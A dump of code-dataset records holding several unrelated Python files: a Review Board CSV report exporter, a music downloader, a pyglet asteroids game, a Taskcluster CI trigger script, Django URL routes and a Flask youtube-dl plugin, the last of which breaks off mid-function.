scmtools_repository scm_repo \"\\\n \" where rr.submitter_id=au.id and rr.id=\" + str(rvwId) + \" and rr.repository_id=scm_repo.id \"\\\n \" and scm_repo.tool_id=scm.id\"\n\n logging.debug(\"meta_info_query:%s\",meta_info_query)\n\n # Open database connection\n db = MySQLdb.connect(DB_IP, USER, PASSWD, DB_NAME)\n\n # prepare a cursor object using cursor() method\n cursor = db.cursor()\n\n cursor.execute(meta_info_query)\n metadata = cursor.fetchall()\n\n # Write meta info to the buffer in CSV format\n writer.writerow([\"Review Title\", metadata[0][0]])\n writer.writerow([\"Author name\", metadata[0][2] + \" \" + metadata[0][3]])\n writer.writerow([\"Review Initiation Date\", metadata[0][1].strftime('%m/%d/%Y')])\n repo_type = metadata[0][4]\n logging.debug(\"repo type:%s\",repo_type)\n\n\n # Query to get the reviewers\n reviewer_info_query = \"select DISTINCT au.email \"\\\n \"from reviews_reviewrequest rr, reviews_reviewrequest_target_groups tg, \"\\\n \"reviews_group_users gu, auth_user au, reviews_reviewrequest_target_people tp \"\\\n \"where rr.id=\" + str(rvwId) + \" and \"\\\n \"((tg.reviewrequest_id=rr.id and gu.group_id=tg.group_id and au.id=gu.user_id) or \"\\\n \"(tp.reviewrequest_id=rr.id and tp.user_id=au.id))\"\n\n # prepare a cursor object using cursor() method\n cursor = db.cursor()\n cursor.execute(reviewer_info_query)\n reviewer_data = cursor.fetchall()\n\n reviewer_list = ''\n for list in reviewer_data:\n reviewer_list += list[0] + ','\n writer.writerow([\"Target Reviewers\", reviewer_list])\n\n # Query to get the number of file diffset and their timestamps\n # If num > 1, reviewee has uploaded a new diff.\n filediffset_query = \"select timestamp from diffviewer_diffset where history_id=\" + str(rvwId)\n\n cursor.execute(filediffset_query)\n data = cursor.fetchall()\n\n comment_fix_dtm = None\n if len(data) > 1:\n comment_fix_dtm = data[len(data)-1]\n\n # Query to get the ship time and date\n ship_info_query = \"select timestamp from reviews_review where ship_it=1 and review_request_id=\" + str(rvwId)\n\n cursor.execute(ship_info_query)\n data = cursor.fetchall()\n\n ship_dtm = None\n if len(data) > 0:\n ship_dtm = data[len(data)-1]\n\n # Query to get the diff revision information of the review\n rev_info_query = \"select rr.id as rid, ds.id as did, ds.revision, fd.id as fid, fd.dest_file, fd.dest_detail \\\n from reviews_reviewrequest rr, diffviewer_diffset ds, diffviewer_filediff fd \\\n where ds.id=fd.diffset_id \\\n and rr.diffset_history_id=ds.history_id \\\n and rr.id=\" + str(rvwId)\n\n cursor.execute(rev_info_query)\n rev_data = cursor.fetchall()\n\n # To safe-guard against any indexing errors\n try:\n if len(rev_data) > 1:\n if repo_type == 'Subversion':\n # Get the last one and strip the () chars\n self.fix_in_rev = rev_data[len(rev_data)-1][5][1:-1]\n elif repo_type == 'ClearCase': \n # Get the last one and get the version info\n file_name = rev_data[len(rev_data)-1][4]\n version_info_index = file_name.rfind('@') + 1\n self.fix_in_rev = file_name[version_info_index:]\n elif repo_type == 'Git': \n self.fix_in_rev = rev_data[len(rev_data)-1][5]\n else:\n logging.error('Unsupported repo type:%s',repo_type)\n except Exception as e:\n logging.error(\"********Error [%d]: %s\" % (e.args[0], e.args[1]))\n self.fix_in_rev = ' '\n\n # repo specific query conditions\n # In case of SVN, fetch the dest_detail\n\n\n # Query to get all the comments for this review\n all_data_query = \"select reviews_comment.id, au.first_name, au.last_name, \\\n reviews_comment.text, reviews_comment.issue_opened, \\\n reviews_comment.issue_status, reviews_comment.reply_to_id, reviews_comment.extra_data, \\\n reviews_comment.first_line, reviews_comment.num_lines, reviews_comment.timestamp, \\\n diffviewer_filediff.dest_file, diffviewer_filediff.dest_detail \\\n from ((((((reviews_review \\\n left join reviews_reviewrequest \\\n on reviews_review.review_request_id = reviews_reviewrequest.id) \\\n left join auth_user \\\n on auth_user.id = reviews_reviewrequest.submitter_id) \\\n left join reviews_review_comments \\\n on reviews_review.id = reviews_review_comments.review_id) \\\n left join reviews_comment \\\n on reviews_review_comments.comment_id = reviews_comment.id) \\\n left join auth_user au \\\n on au.id = reviews_review.user_id) \\\n left join diffviewer_filediff \\\n on diffviewer_filediff.id = reviews_comment.filediff_id) \\\n where reviews_review.review_request_id = \" + str(rvwId)\n\n cursor.execute(all_data_query)\n data = cursor.fetchall()\n db.close()\n\n # Write table header to the buffer in CSV format\n writer.writerow(self.header)\n except MySQLdb.Error as e:\n logging.error(\"********MySQL Error [%d]: %s\" % (e.args[0], e.args[1]))\n\n all_data={}\n comment_count = 1;\n for id, rvwr_fname, rvwr_lname, txt, is_issue, status, reply_id, ext_data, first_line, num_lines, ts, file, version in data:\n logging.debug(\"txt:%s, file:%s, version:%s\",txt,file,version)\n if is_issue:\n comment_data = {}\n comment_data['num'] = comment_count\n\n # Set the file name and On revision\n if repo_type == 'Subversion':\n # Get the last one and strip the () chars\n comment_data['on_rev'] = version[1:-1]\n elif repo_type == 'ClearCase': \n # Get the last one and get the version info\n version_info_index = file.rfind('@')\n comment_data['on_rev'] = file[version_info_index + 1:]\n file = file[:version_info_index - 1]\n elif repo_type == 'Git': \n comment_data['on_rev'] = version\n else:\n logging.error('Unsupported repotype:%s',repo_type)\n\n comment_data['loc'] = file + ':' + str(first_line)\n if num_lines > 1:\n comment_data['loc'] += '-' + str(first_line+num_lines-1)\n comment_data['reviewer'] = rvwr_fname + ' ' + rvwr_lname\n ext_data_dic = ast.literal_eval(ext_data)\n if 'severity' in ext_data_dic:\n comment_data['severity'] = self.match_severity(ext_data_dic[\"severity\"])\n else:\n comment_data['severity'] = ' ';\n if 'category' in ext_data_dic:\n comment_data['category'] = self.match_category(ext_data_dic[\"category\"])\n else:\n comment_data['category'] = ' ';\n if 'cause' in ext_data_dic:\n comment_data['cause'] = self.match_cause(ext_data_dic[\"cause\"])\n else:\n comment_data['cause'] = ' ';\n if 'phase' in ext_data_dic:\n comment_data['ph_inject'] = self.match_phase_injected(ext_data_dic[\"phase\"])\n else:\n comment_data['ph_inject'] = ' ';\n comment_data['desc'] = txt\n comment_data['disp'] = self.match_status(status)\n comment_data['create_dtm'] = ts.strftime('%m/%d/%Y')\n comment_data['disp_txt'] = ''\n all_data[str(id)] = comment_data\n if comment_fix_dtm is not None:\n comment_data['fix_date'] = comment_fix_dtm[0].strftime('%m/%d/%Y')\n else:\n comment_data['fix_date'] = ' '\n if ship_dtm is not None:\n comment_data['approve_date'] = ship_dtm[0].strftime('%m/%d/%Y')\n else:\n comment_data['approve_date'] = ' '\n\n comment_count = comment_count + 1\n else:\n if str(reply_id) in all_data:\n if (all_data[str(reply_id)]['disp_txt'] == ''):\n all_data[str(reply_id)]['disp_txt'] = rvwr_fname + ' ' + rvwr_lname + ': ' + txt\n else:\n # Append the reviewer name and his/her comment\n all_data[str(reply_id)]['disp_txt'] = all_data[str(reply_id)]['disp_txt'] + \\\n '\\n' + \\\n rvwr_fname + ' ' + rvwr_lname + ': ' + txt\n all_data[str(reply_id)]['fix_date'] = ts.strftime('%m/%d/%Y')\n\n\n # Write table contents to the buffer in CSV format\n for row in sorted(all_data):\n writer.writerow([all_data[row]['num'], all_data[row]['loc'], self.ph_detect, all_data[row]['severity'], \n all_data[row]['desc'], self.disp_pre, all_data[row]['disp'], all_data[row]['disp_txt'],\n all_data[row]['approve_date'], all_data[row]['fix_date'], self.fix_in_rev, all_data[row]['reviewer'],\n all_data[row]['create_dtm'], all_data[row]['on_rev'], all_data[row]['category'], all_data[row]['ph_inject'], all_data[row]['cause']])\n\n return csv_output.getvalue()\n\n\nhscreport_resource_export_csv = HscReportResourceExportCsv()\n", "sub_path": "hscreports/hscreports/resourceExportCsv.py", "file_name": "resourceExportCsv.py", "file_ext": "py", "file_size_in_byte": 14876, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "reviewboard.webapi.base.WebAPIResource", "line_number": 25, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 60, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 128, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 129, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 137, "usage_type": "call"}, {"api_name": "MySQLdb.connect", "line_number": 140, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 153, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 219, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 221, "usage_type": "call"}, {"api_name": "MySQLdb.Error", "line_number": 255, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 256, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 261, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 278, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 284, "usage_type": "call"}]} +{"seq_id": "466316253", "text": "import io\r\nimport os\r\nimport urllib.request\r\n\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nAUTHOR = 'Vu Dinh Anh'\r\nVERSION = '0.0.0'\r\n\r\nDEFAULT_PATH = 'CSN_downloader'\r\n\r\nDOWNLOAD_QUALITY = ['32kbps', '128kbps', '320kbps', '500kbps', 'Lossless']\r\n\r\n\r\ndef download_music_file(url):\r\n cwd = os.getcwd() # current working directory\r\n file_name = url.split('/')[-1]\r\n file_name = file_name[file_name.index('v5=') + 3:]\r\n file_name = urllib.request.unquote(file_name) # get file name, escape from URL pattern\r\n if not os.path.exists(cwd + '\\\\' + DEFAULT_PATH):\r\n os.makedirs(cwd + '\\\\' + DEFAULT_PATH)\r\n\r\n path_to_save = cwd + '\\\\' + DEFAULT_PATH + '\\\\' + file_name\r\n\r\n r = requests.get(url)\r\n with io.open(path_to_save, 'wb')as f:\r\n f.write(r.content)\r\n\r\n print(\"Downloaded :\" + file_name)\r\n\r\n\r\ndef get_download_url(page):\r\n content = get_page_content(url=page)\r\n soup = BeautifulSoup(content, 'html.parser')\r\n download_div = soup.find('div', attrs={'id': 'downloadlink2'}) # div contain all download option\r\n\r\n download_urls = list()\r\n anchor_tags = download_div.find_all('a')\r\n for anchor_tag in anchor_tags:\r\n download_urls.append(anchor_tag['href'])\r\n\r\n return download_urls\r\n\r\n\r\ndef get_page_content(url):\r\n return requests.get(url=url).content\r\n\r\n\r\ndef get_all_download_pages(content):\r\n soup = BeautifulSoup(content, 'html.parser')\r\n table = soup.find('table', attrs={'border': '0', 'class': 'tbtable'})\r\n all_anchor_tags = table.find_all('a', attrs={'target': '_blank'}) # only download link has 'taget' : '_blank' attr\r\n download_links = list() # for storing download_link\r\n for anchor_tag in all_anchor_tags:\r\n download_links.append(anchor_tag['href']) # get download link from 'a' tag\r\n return download_links\r\n\r\n\r\ndef main():\r\n # get url\r\n url = input(\"Enter url: \")\r\n\r\n content = get_page_content(url=url)\r\n list_download_page = get_all_download_pages(content=content)\r\n\r\n # get quality\r\n print(DOWNLOAD_QUALITY)\r\n quality = input(\"Enter download quality: \")\r\n while quality not in DOWNLOAD_QUALITY:\r\n print(\"Invalid input. Please try again.\")\r\n quality = input(\"Enter download quality: \")\r\n\r\n custom_path = input('Enter folder to save (Enter to skip): ')\r\n if custom_path is not '':\r\n global DEFAULT_PATH\r\n DEFAULT_PATH += '\\\\' + custom_path\r\n\r\n for download_page in list_download_page:\r\n download_urls = get_download_url(page=download_page)\r\n if any(quality in u for u in download_urls):\r\n for u in download_urls:\r\n if (quality in u):\r\n download_music_file(u)\r\n else:\r\n #if user's quality choosen is not available for download, find the nearest download quality\r\n for q in DOWNLOAD_QUALITY[DOWNLOAD_QUALITY.index(quality) - 1::-1]:\r\n keep_find_quality = True\r\n for u in download_urls:\r\n if (q in u):\r\n download_music_file(u)\r\n keep_find_quality = False\r\n if keep_find_quality is False:\r\n break\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "sub_path": "CSN_downloader_public.py", "file_name": "CSN_downloader_public.py", "file_ext": "py", "file_size_in_byte": 3238, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.getcwd", "line_number": 17, "usage_type": "call"}, {"api_name": "urllib.request.request.unquote", "line_number": 20, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 20, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "io.open", "line_number": 27, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 47, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "600182904", "text": "import pyglet\n\nfrom game import resources, load\n\nfrom game.physicalobject import PhysicalObject\nfrom game.player import Player\n\ngame_window = pyglet.window.Window(800, 600)\n\nmain_batch = pyglet.graphics.Batch()\n\nfps_display = pyglet.clock.ClockDisplay()\n\nscore_label = pyglet.text.Label(text=\"Score: 0\", x=10, y=575, batch=main_batch)\nlevel_label = pyglet.text.Label(text=\"PyGlet Asteroids Game\",\n x=400, y=575,\n anchor_x='center',\n batch=main_batch)\n\nplayer_ship = Player(x=400, y=300, batch=main_batch)\nplayer_ship.rotation = 270\ngame_window.push_handlers(player_ship)\n\nasteroids = load.asteroids(3, player_ship.position, batch=main_batch)\n\ngame_objects = [player_ship] + asteroids\n\nplayer_lives = load.player_lives(3, batch=main_batch)\n\n@game_window.event\ndef on_draw():\n game_window.clear()\n fps_display.draw()\n main_batch.draw()\n\ndef update(dt):\n for obj in game_objects:\n obj.update(dt)\n\nif __name__ == '__main__':\n pyglet.clock.schedule_interval(update, 1/120.0)\n pyglet.app.run()\n", "sub_path": "version2/asteroids.py", "file_name": "asteroids.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pyglet.window.Window", "line_number": 8, "usage_type": "call"}, {"api_name": "pyglet.window", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.Batch", "line_number": 10, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pyglet.clock.ClockDisplay", "line_number": 12, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 14, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 15, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 15, "usage_type": "attribute"}, {"api_name": "game.player.Player", "line_number": 20, "usage_type": "call"}, {"api_name": "game.load.asteroids", "line_number": 24, "usage_type": "call"}, {"api_name": "game.load", "line_number": 24, "usage_type": "name"}, {"api_name": "game.load.player_lives", "line_number": 28, "usage_type": "call"}, {"api_name": "game.load", "line_number": 28, "usage_type": "name"}, {"api_name": "pyglet.clock.schedule_interval", "line_number": 41, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pyglet.app.run", "line_number": 42, "usage_type": "call"}, {"api_name": "pyglet.app", "line_number": 42, "usage_type": "attribute"}]} +{"seq_id": "366441084", "text": "import json\nimport os\nimport slugid\nimport taskcluster\nimport urllib.request\nfrom cib import createTask, updateWorkerPool\n\n\nworkerManager = taskcluster.WorkerManager(taskcluster.optionsFromEnvironment())\nqueue = taskcluster.Queue(taskcluster.optionsFromEnvironment())\ncommit = json.loads(urllib.request.urlopen(urllib.request.Request('https://api.github.com/repos/mozilla-platform-ops/cloud-image-builder/commits/{}'.format(os.getenv('TRAVIS_COMMIT')), None, { 'User-Agent' : 'Mozilla/5.0' })).read().decode())['commit']\n\nupdateWorkerPool(\n workerManager = workerManager,\n configPath = 'ci/config/worker-pool/relops/decision.yaml',\n workerPoolId = 'relops/decision')\nupdateWorkerPool(\n workerManager = workerManager,\n configPath = 'ci/config/worker-pool/relops/win2019.yaml',\n workerPoolId = 'relops/win2019')\n\ncreateTask(\n queue = queue,\n image = 'python',\n taskId = slugid.nice(),\n taskName = '00 :: decision task',\n taskDescription = 'determine which windows cloud images should be built, where they should be deployed and trigger appropriate build tasks for the same',\n provisioner = 'relops',\n workerType = 'decision',\n features = {\n 'taskclusterProxy': True\n },\n env = {\n 'GITHUB_HEAD_SHA': os.getenv('TRAVIS_COMMIT')\n },\n commands = [\n '/bin/bash',\n '--login',\n '-c',\n 'git clone https://github.com/mozilla-platform-ops/cloud-image-builder.git && pip install azure boto3 pyyaml slugid taskcluster urllib3 && cd cloud-image-builder && git reset --hard {} && python ci/{}.py'.format(os.getenv('TRAVIS_COMMIT'), 'pool-deploy' if commit['message'].startswith('pool-deploy') else 'create-image-build-tasks')\n ],\n scopes = [\n 'generic-worker:os-group:relops/win2019/Administrators',\n 'generic-worker:run-as-administrator:relops/*',\n 'queue:create-task:highest:relops/*',\n 'queue:create-task:very-high:relops/*',\n 'queue:create-task:high:relops/*',\n 'queue:create-task:medium:relops/*',\n 'queue:create-task:low:relops/*',\n 'queue:route:index.project.relops.cloud-image-builder.*',\n 'queue:scheduler-id:-',\n 'worker-manager:manage-worker-pool:gecko-1/win*',\n 'worker-manager:manage-worker-pool:gecko-3/win*',\n 'worker-manager:manage-worker-pool:gecko-t/win*',\n 'worker-manager:manage-worker-pool:mpd001-1/win*',\n 'worker-manager:manage-worker-pool:mpd001-3/win*',\n 'worker-manager:manage-worker-pool:relops/win*',\n 'worker-manager:provider:aws',\n 'worker-manager:provider:azure',\n 'secrets:get:project/relops/image-builder/dev'\n ]\n)\n", "sub_path": "ci/trigger-decision-task.py", "file_name": "trigger-decision-task.py", "file_ext": "py", "file_size_in_byte": 2525, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "taskcluster.WorkerManager", "line_number": 9, "usage_type": "call"}, {"api_name": "taskcluster.optionsFromEnvironment", "line_number": 9, "usage_type": "call"}, {"api_name": "taskcluster.Queue", "line_number": 10, "usage_type": "call"}, {"api_name": "taskcluster.optionsFromEnvironment", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 11, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 11, "usage_type": "name"}, {"api_name": "urllib.request.request.Request", "line_number": 11, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "cib.updateWorkerPool", "line_number": 13, "usage_type": "call"}, {"api_name": "cib.updateWorkerPool", "line_number": 17, "usage_type": "call"}, {"api_name": "cib.createTask", "line_number": 22, "usage_type": "call"}, {"api_name": "slugid.nice", "line_number": 25, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 34, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "228610634", "text": "from apps.pagos import views\nfrom django.conf.urls import patterns, url\nfrom django.views.generic import TemplateView\n\nurlpatterns = patterns('',\n\n url(r'^estado/de/cuenta/$',\n views.CompromisosListaView.as_view(),\n name='pst_compromisos_pago'),\n\n url(r'^compromisos/de/pago.json/$',\n views.compromiso_pago_json,\n name='pst_compromisos_pago_json'),\n\n url(r'^compromisos/de/pago/nuevo/$',\n views.compromiso_pago_nuevo,\n name='pst_compromisos_pago_nuevo'),\n\n url(r'^compromisos/de/pago/pdf/(?P\\d+)/$',\n views.planilla_pago_pdf,\n name='pst_compromisos_pago_pdf'),\n\n url(r'^compromisos/de/pago/1/$',\n TemplateView.as_view(template_name='pagos/pst/detalle_compromiso_pago.html'),\n name='pst_detalle_compromiso_pago'),\n\n url(r'^indebido/$',\n views.PagoIndebidoView.as_view(),\n name='pst_pago_indebido'),\n\n url(r'^indebido/reconocimientos/$',\n views.CesionesPagoIndebidoView.as_view(),\n name='pst_reconocimientos_pago_indebido'),\n\n )\n", "sub_path": "apps/pagos/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1471, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "apps.pagos.views.CompromisosListaView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "apps.pagos.views.CompromisosListaView", "line_number": 8, "usage_type": "attribute"}, {"api_name": "apps.pagos.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "apps.pagos.views.compromiso_pago_json", "line_number": 12, "usage_type": "attribute"}, {"api_name": "apps.pagos.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "apps.pagos.views.compromiso_pago_nuevo", "line_number": 16, "usage_type": "attribute"}, {"api_name": "apps.pagos.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "apps.pagos.views.planilla_pago_pdf", "line_number": 20, "usage_type": "attribute"}, {"api_name": "apps.pagos.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "apps.pagos.views.PagoIndebidoView.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "apps.pagos.views.PagoIndebidoView", "line_number": 28, "usage_type": "attribute"}, {"api_name": "apps.pagos.views", "line_number": 28, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 31, "usage_type": "call"}, {"api_name": "apps.pagos.views.CesionesPagoIndebidoView.as_view", "line_number": 32, "usage_type": "call"}, {"api_name": "apps.pagos.views.CesionesPagoIndebidoView", "line_number": 32, "usage_type": "attribute"}, {"api_name": "apps.pagos.views", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "295477930", "text": "import os\nimport traceback\nimport subprocess\n\nfrom flask import Blueprint, request, render_template, redirect, jsonify, abort\nfrom flask_login import login_required\nfrom flask_cors import cross_origin\n\nfrom framework import check_api, socketio\nfrom framework.logger import get_logger\n\nfrom .logic import Logic\nfrom .logic_normal import LogicNormal\nfrom .model import ModelSetting\n\npackage_name = __name__.split('.')[0]\nlogger = get_logger(package_name)\nyoutube_dl_package = LogicNormal.get_youtube_dl_package(\n ModelSetting.get('youtube_dl_package') if ModelSetting.get('youtube_dl_package') else Logic.db_default[\n 'youtube_dl_package'], import_pkg=True)\n\n#########################################################\n# 플러그인 공용\n#########################################################\nblueprint = Blueprint(package_name, package_name, url_prefix='/%s' % package_name,\n template_folder=os.path.join(os.path.dirname(__file__), 'templates'),\n static_folder=os.path.join(os.path.dirname(__file__), 'static'))\n\nmenu = {\n 'main': [package_name, 'youtube-dl'],\n 'sub': [\n ['setting', '설정'], ['download', '다운로드'], ['thumbnail', '썸네일 다운로드'], ['sub', '자막 다운로드'], ['list', '목록'],\n ['log', '로그']\n ],\n 'category': 'vod'\n}\n\nplugin_info = {\n 'version': '3.0.1',\n 'name': 'youtube-dl',\n 'category_name': 'vod',\n 'developer': 'joyfuI',\n 'description': '유튜브, 네이버TV 등 동영상 사이트에서 동영상 다운로드',\n 'home': 'https://github.com/joyfuI/youtube-dl',\n 'more': ''\n}\n\n\ndef plugin_load():\n Logic.plugin_load()\n\n\ndef plugin_unload():\n Logic.plugin_unload()\n\n\n#########################################################\n# WEB Menu\n#########################################################\n@blueprint.route('/')\ndef home():\n return redirect('/%s/list' % package_name)\n\n\n@blueprint.route('/')\n@login_required\ndef first_menu(sub):\n try:\n arg = {\n 'package_name': package_name,\n 'template_name': '%s_%s' % (package_name, sub)\n }\n\n if sub == 'setting':\n arg.update(ModelSetting.to_dict())\n arg['package_list'] = LogicNormal.get_youtube_dl_package()\n arg['youtube_dl_version'] = LogicNormal.get_youtube_dl_version()\n arg['DEFAULT_FILENAME'] = LogicNormal.get_default_filename()\n return render_template('%s_%s.html' % (package_name, sub), arg=arg)\n\n elif sub == 'download':\n default_filename = ModelSetting.get('default_filename')\n arg['filename'] = default_filename if default_filename else LogicNormal.get_default_filename()\n arg['preset_list'] = LogicNormal.get_preset_list()\n arg['postprocessor_list'] = LogicNormal.get_postprocessor_list()\n return render_template('%s_%s.html' % (package_name, sub), arg=arg)\n\n elif sub == 'thumbnail':\n default_filename = ModelSetting.get('default_filename')\n arg['filename'] = default_filename if default_filename else LogicNormal.get_default_filename()\n return render_template('%s_%s.html' % (package_name, sub), arg=arg)\n\n elif sub == 'sub':\n default_filename = ModelSetting.get('default_filename')\n arg['filename'] = default_filename if default_filename else LogicNormal.get_default_filename()\n return render_template('%s_%s.html' % (package_name, sub), arg=arg)\n\n elif sub == 'list':\n return render_template('%s_%s.html' % (package_name, sub), arg=arg)\n\n elif sub == 'log':\n return render_template('log.html', package=package_name)\n except Exception as e:\n logger.error('Exception:%s', e)\n logger.error(traceback.format_exc())\n return render_template('sample.html', title='%s - %s' % (package_name, sub))\n\n\n#########################################################\n# For UI\n#########################################################\n@blueprint.route('/ajax/', methods=['POST'])\n@login_required\ndef ajax(sub):\n logger.debug('AJAX %s %s', package_name, sub)\n try:\n # 공통 요청\n if sub == 'setting_save':\n ret = ModelSetting.setting_save(request)\n if request.form['ffmpeg_path'] == 'ffmpeg':\n ModelSetting.set('ffmpeg_path', '')\n return jsonify(ret)\n\n # UI 요청\n elif sub == 'ffmpeg_version':\n path = request.form['path']\n ret = subprocess.check_output([path, '-version'])\n ret = ret.decode().replace('\\n', '
')\n return jsonify(ret)\n\n elif sub == 'download':\n postprocessor = request.form['postprocessor']\n video_convertor, extract_audio = LogicNormal.get_postprocessor()\n preferedformat = None\n preferredcodec = None\n preferredquality = None\n if postprocessor in video_convertor:\n preferedformat = postprocessor\n elif postprocessor in extract_audio:\n preferredcodec = postprocessor\n preferredquality = 192\n youtube_dl = LogicNormal.download(plugin=package_name,\n url=request.form['url'],\n filename=request.form['filename'],\n temp_path=ModelSetting.get('temp_path'),\n save_path=ModelSetting.get('save_path'),\n format=request.form['format'],\n preferedformat=preferedformat,\n preferredcodec=preferredcodec,\n preferredquality=preferredquality,\n proxy=ModelSetting.get('proxy'),\n ffmpeg_path=ModelSetting.get('ffmpeg_path'))\n youtube_dl.start()\n socketio_emit('add', youtube_dl)\n return jsonify([])\n\n elif sub == 'thumbnail':\n youtube_dl = LogicNormal.thumbnail(plugin=package_name,\n url=request.form['url'],\n filename=request.form['filename'],\n temp_path=ModelSetting.get('temp_path'),\n save_path=ModelSetting.get('save_path'),\n all_thumbnails=request.form['all_thumbnails'],\n proxy=ModelSetting.get('proxy'),\n ffmpeg_path=ModelSetting.get('ffmpeg_path'))\n youtube_dl.start()\n socketio_emit('add', youtube_dl)\n return jsonify([])\n\n elif sub == 'sub':\n youtube_dl = LogicNormal.sub(plugin=package_name,\n url=request.form['url'],\n filename=request.form['filename'],\n temp_path=ModelSetting.get('temp_path'),\n save_path=ModelSetting.get('save_path'),\n all_subs=request.form['all_subs'],\n sub_lang=request.form['sub_lang'],\n auto_sub=request.form['auto_sub'],\n proxy=ModelSetting.get('proxy'),\n ffmpeg_path=ModelSetting.get('ffmpeg_path'))\n youtube_dl.start()\n socketio_emit('add', youtube_dl)\n return jsonify([])\n\n elif sub == 'list':\n ret = []\n for i in LogicNormal.youtube_dl_list:\n data = LogicNormal.get_data(i)\n if data is not None:\n ret.append(data)\n return jsonify(ret)\n\n elif sub == 'all_stop':\n for i in LogicNormal.youtube_dl_list:\n i.stop()\n return jsonify([])\n\n elif sub == 'stop':\n index = int(request.form['index'])\n LogicNormal.youtube_dl_list[index].stop()\n return jsonify([])\n except Exception as e:\n logger.error('Exception:%s', e)\n logger.error(traceback.format_exc())\n\n\n#########################################################\n# API\n#########################################################\n# API 명세는 https://github.com/joyfuI/youtube-dl#api\n@blueprint.route('/api/', methods=['GET', 'POST'])\n@cross_origin()\n@check_api\ndef api(sub):\n plugin = request.values.get('plugin')\n logger.debug('API %s %s: %s', package_name, sub, plugin)\n if not plugin: # 요청한 플러그인명이 빈문자열이거나 None면\n abort(403) # 403 에러(거부)\n try:\n # 동영상 정보를 반환하는 API\n if sub == 'info_dict':\n url = request.values.get('url')\n ret = {\n 'errorCode': 0,\n 'info_dict': None\n }\n if None in (url,):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n if not url.startswith('http'):\n return LogicNormal.abort(ret, 2) # 잘못된 동영상 주소\n info_dict = LogicNormal.get_info_dict(url, ModelSetting.get('proxy'))\n if info_dict is None:\n return LogicNormal.abort(ret, 10) # 실패\n ret['info_dict'] = info_dict\n return jsonify(ret)\n\n # 비디오 다운로드 준비를 요청하는 API\n elif sub == 'download':\n key = request.values.get('key')\n url = request.values.get('url')\n filename = request.values.get('filename', ModelSetting.get('default_filename'))\n save_path = request.values.get('save_path', ModelSetting.get('save_path'))\n format_code = request.values.get('format', None)\n preferedformat = request.values.get('preferedformat', None)\n preferredcodec = request.values.get('preferredcodec', None)\n preferredquality = request.values.get('preferredquality', 192)\n dateafter = request.values.get('dateafter', None)\n playlist = 